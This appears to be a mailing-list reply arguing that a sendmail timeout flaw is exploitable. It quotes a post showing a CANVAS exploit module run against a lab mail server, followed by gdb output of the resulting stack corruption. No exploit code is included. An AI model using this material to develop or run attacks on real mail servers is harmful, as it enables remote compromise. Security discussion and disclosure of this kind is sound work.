Christopher L. Morrow wrote:
I think this is the FUD brandon is speaking of... it's not helpful, please stop.
Okay, if you insist we talk of exploits here, I take back the "talk after the first worm". Go to the dailydave mailing list, you will see a discussion with 2 exploit codes posted thus far. One is in the works but past POC, the other is pretty much done and was also posted on FD. So much for FUD. One example from the discussion: -------------------------------- A lot of people have been saying "this could never happen, DoS, etc etc." I have a feeling part of that is because IDS's can't detect concurrency bugs. Maybe an IPS could try to detect them, but generally they don't maintain timing information. I could be wrong here, of course. Every IDS can detect everything, if you listen to the noise on the focus-ids mailing list. Hmm. I guess you could try - but you'd have to store state, and it's not going to be easy. On that other hand, maybe it's not related to IDS's at all. Maybe learning C is just too damn hard for the CISSP crew and they don't believe what they can't see. So let's try to "Illustrate True Risk" with Immunity CANVAS [tm]. (To put it in the business language everyone can understand) ;> Here's the attempt against my instrumented sendmail (right now I always win races, but the important thing is to SEE the race happening at this stage): bash-3.00$ exploits/sendmail_timeout/sendmail_timeout.py -t 172.16.79.130 -v 1 [C] Recved: 250 2.1.0 root@172.16.79.130... Sender ok [C] Recved: 250 2.1.5 root... Recipient ok [C] Recved: 354 Enter mail, end with "." on a line by itself [C] Triggered timeout - continuing to sleep [C] Sending attack string Traceback (most recent call last): File "exploits/sendmail_timeout/sendmail_timeout.py", line 257, in run self.doattack(timeout) File "exploits/sendmail_timeout/sendmail_timeout.py", line 234, in doattack s.sendall("\r\n") File "<string>", line 1, in sendall error: (104, 'Connection reset by peer') [C] Attack reported no open socket - service died? [C] ID: 0 Setinfo: > sendmail_timeout attacking 172.16.79.130:25 - done (failed?) < And here's the result. If I had to guess, I'd say stack corruption. I'm adding it to our Partner's page now, so no doubt their much larger teams will be able to push this towards completion over the weekend, while I'm changing diapers and reading up on baby-sign-language. (gdb) x/2i $pc 0x400e6903 <strlen+51>: mov (%eax),%ecx 0x400e6905 <strlen+53>: mov $0xfefefeff,%edx (gdb) print/x $eax $1 = 0x63202c34 <--that can't be right. (gdb) where #0 0x400e6903 in strlen () from /lib/tls/libc.so.6 #1 0x080ad3fb in sm_io_vfprintf () #2 0x080ae3f9 in sm_vsnprintf () #3 0x0805500e in sm_syslog () #4 0x36312e32 in ?? () <---hey, that's not right! :> #5 0x2e39372e in ?? () #6 0x2c303331 in ?? () #7 0x7a697320 in ?? () #8 0x31353d65 in ?? () ... - -dave